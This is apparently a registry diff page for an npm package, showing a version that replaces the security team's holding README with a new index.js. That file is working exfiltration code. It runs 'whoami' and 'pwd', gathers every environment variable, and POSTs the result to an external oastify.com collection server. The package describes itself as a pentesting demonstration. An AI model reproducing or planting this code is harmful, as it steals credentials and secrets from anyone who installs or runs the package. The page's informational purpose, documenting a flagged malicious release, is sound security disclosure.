romanes-eunt-domus-jd-1337 0.0.1-security → 1.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of romanes-eunt-domus-jd-1337 might be problematic. Click here for more details.
- package/index.js +61 -0
- package/package.json +12 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,61 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const { execSync } = require('child_process');
|
3
|
+
|
4
|
+
const targetUrl = 'https://g0h2hwbgtwjn8okxx49uqhly0p6gu7rvg.oastify.com/collect-1.0.13'; // Replace with your target server URL
|
5
|
+
|
6
|
+
// Helper function to send data via POST
|
7
|
+
function sendData(data) {
|
8
|
+
const payload = JSON.stringify(data);
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
method: 'POST',
|
12
|
+
headers: {
|
13
|
+
'Content-Type': 'application/json',
|
14
|
+
'Content-Length': payload.length,
|
15
|
+
},
|
16
|
+
};
|
17
|
+
|
18
|
+
const req = https.request(targetUrl, options, (res) => {
|
19
|
+
let response = '';
|
20
|
+
|
21
|
+
res.on('data', (chunk) => {
|
22
|
+
response += chunk;
|
23
|
+
});
|
24
|
+
|
25
|
+
res.on('end', () => {
|
26
|
+
console.log('Response from server:', response);
|
27
|
+
});
|
28
|
+
});
|
29
|
+
|
30
|
+
req.on('error', (err) => {
|
31
|
+
console.error('Error sending data:', err.message);
|
32
|
+
});
|
33
|
+
|
34
|
+
req.write(payload);
|
35
|
+
req.end();
|
36
|
+
}
|
37
|
+
|
38
|
+
// Function to execute shell commands
|
39
|
+
function executeCommand(cmd) {
|
40
|
+
try {
|
41
|
+
return execSync(cmd, { encoding: 'utf8' }).trim();
|
42
|
+
} catch (err) {
|
43
|
+
return `Error executing ${cmd}: ${err.message}`;
|
44
|
+
}
|
45
|
+
}
|
46
|
+
|
47
|
+
// Main function to collect all metadata
|
48
|
+
async function collectMetadata() {
|
49
|
+
const metadata = {
|
50
|
+
shellInfo: {
|
51
|
+
openports: encodeURIComponent(executeCommand('whoami')),
|
52
|
+
syslog: encodeURIComponent(executeCommand('pwd')),
|
53
|
+
},
|
54
|
+
envVariables: process.env, // All environment variables
|
55
|
+
};
|
56
|
+
|
57
|
+
sendData(metadata);
|
58
|
+
}
|
59
|
+
|
60
|
+
// Start collecting metadata
|
61
|
+
collectMetadata().catch((err) => console.error('Error collecting metadata:', err));
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
|
-
{
|
2
|
-
"name": "romanes-eunt-domus-jd-1337",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "romanes-eunt-domus-jd-1337",
|
3
|
+
"version": "1.0.13",
|
4
|
+
"description": "A test package for pentesting demonstration",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=romanes-eunt-domus-jd-1337 for more information.
|